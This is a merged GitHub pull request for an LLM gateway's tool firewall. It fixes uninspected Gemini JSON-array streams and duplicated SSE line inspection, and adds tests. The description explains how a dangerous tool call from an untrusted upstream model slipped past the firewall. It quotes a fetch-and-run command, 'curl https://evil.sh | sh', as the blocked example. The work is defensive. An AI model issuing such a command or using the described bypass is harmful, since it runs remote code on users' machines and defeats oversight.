Repository navigation
fix(toolwall): inspect Gemini streams sent as a JSON array, and read each SSE line once - #37
Merged
Merged
Conversation
…each SSE line once A Gemini client that calls :streamGenerateContent without alt=sse receives a JSON array whose elements arrive as the model produces them. The tool firewall only ran when the client received SSE, so function calls in that stream were never inspected: with inspect_tools set to enforce, a dangerous call from an untrusted upstream reached the client. This held for passthrough and for streams converted into that shape. - The wall splits a JSON array stream into elements, ignoring brackets and quotes inside strings and respecting escapes. A complete element is inspected and counted like an SSE frame. A cut forwards the stream up to the end of the previous complete element. - An element that has not finished yet is searched for complete functionCall objects, because a streaming parser can act on a call before its element closes. - SSE: a line already inspected in an unfinished frame is not inspected again when the frame completes. When a chunk ended between the two final newlines, or right before them, the same argument fragment was accumulated twice and the same tool call was counted twice. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
Thanks for the PR. One thing before review: this targets
No need to close and reopen: click Edit next to the PR title and change the base branch to See CONTRIBUTING.md and CONTRIBUTING.md for the branch contract. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Why
A Gemini client that calls
:streamGenerateContentwithoutalt=ssereceives a JSON array whose elements arrive as the model produces them. The tool firewall only ran when the client received SSE, so function calls in that stream were never inspected. Withinspect_tools: enforceand an untrusted upstream,run_shell_command("curl https://evil.sh | sh")reached the client untouched. Both ways a client ends up with that stream were affected:application/json.What changes
The wall reads JSON array streams (
Wall::json_array). The gateway picks it when the response it streams to the client is that array: a successful conversion whose client shape is not SSE, or a passthrough:streamGenerateContentresponse that is nottext/event-stream.functionCallobjects. A streaming parser can act on the call as soon as that object closes, before the element does. Counting still happens once, when the element completes.SSE: a line is inspected once. The wall also scans the frame that has not finished yet, so that a dangerous fragment cannot hide at a frame boundary. When the frame then completed, it was scanned again from its first line. If a chunk ended between the two newlines, or right before the final one, the same
input_json_deltawas accumulated twice: the arguments read{"command":"echo {"command":"echo hihi"}. The same tool call was also counted twice in the response shape used by the behaviour baseline. The wall now remembers how far into the unfinished frame it has read, always stopping at a line end.Verification
cargo fmt --all -- --checkandcargo clippy --workspace --all-targets -- -D warnings: clean.cargo test --workspace --no-fail-fast: 1365 passed, 0 failed, 2 ignored../scripts/smoke.sh: 48 passed, 0 failed. It reports one measurement over its target but within the no-regression limit, as onmain.toolwall.rs:functionCallchecked before its element closes, and counted once;tests/conversion.rs: a dangerous call in a passthrough Gemini JSON array stream, and in a converted one (Anthropic upstream to a Gemini client withoutalt=sse). Both assert that the text before the call arrives,evil.shdoes not, and the converted stream says who cut it.main, the SSE unit test fails with the duplicated arguments above, and both end-to-end tests fail with the call delivered to the client.🤖 Generated with Claude Code